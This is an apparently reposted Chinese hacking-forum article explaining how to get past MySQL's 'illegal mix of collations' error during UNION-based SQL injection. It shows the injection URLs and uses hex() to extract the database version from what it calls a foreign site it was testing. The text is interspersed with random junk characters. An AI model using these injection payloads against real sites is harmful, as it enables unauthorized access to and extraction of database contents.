中国网络渗透测试联盟

标题: MySQL注射时ErrorNo.1267的突破 [打印本页]

作者: admin    时间: 2012-9-15 14:04
标题: MySQL注射时ErrorNo.1267的突破
本文作者:SuperHei5 P/ m( B- a* M: [: l
文章性质:原创% A' [* A! M7 {- A' i
发布日期:2005-10-18+ |) [% y. R- [; I
测试个国外的站时:4 E. g, W, x& g$ w8 g' |  P* D
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*. I) g$ u) {" F  t
返回错误:
/ h( V5 L3 _% j) W2 sIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'; F8 r3 X8 W, a; u* n4 i1 w
MySQL Error No. 126/ D; s& C8 u9 w- r# X
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。  y3 R+ r5 I7 B& P
解决办法:转为其他编码如hex。
' ?/ |; @" s+ q5 Lurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*) s# x+ Q" c& _# t, L3 k& _
成功得到hex(version())的值为:0 p) a* v# u2 U- r7 Y7 r2 V" Q
342E312E332D62657461
3 d8 ~! J, s8 K/ B, b6 ]7 \% R回Mysql查询下得到:
/ p% i: k7 q, S, ]2 m5 H$ kmysql> select 0x342E312E332D62657461;4 j; J4 H- z3 K) J* I
+------------------------+$ H# ?! m/ Z3 Q2 G
| 0x342E312E332D62657461 |0 X4 z- N$ j! H
+------------------------+# o$ w$ @0 A* T4 ~" n
| 4.1.3-beta |% j, }) d$ Y) K& {0 N8 h
+------------------------+, J' S) g4 |- @6 C7 l
1 row in set (0.00 sec)% t3 `. ~5 t  N; y7 Q9 @+ g! t
: n, M- f/ k" V6 V$ f8 _5 O+ R; {





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2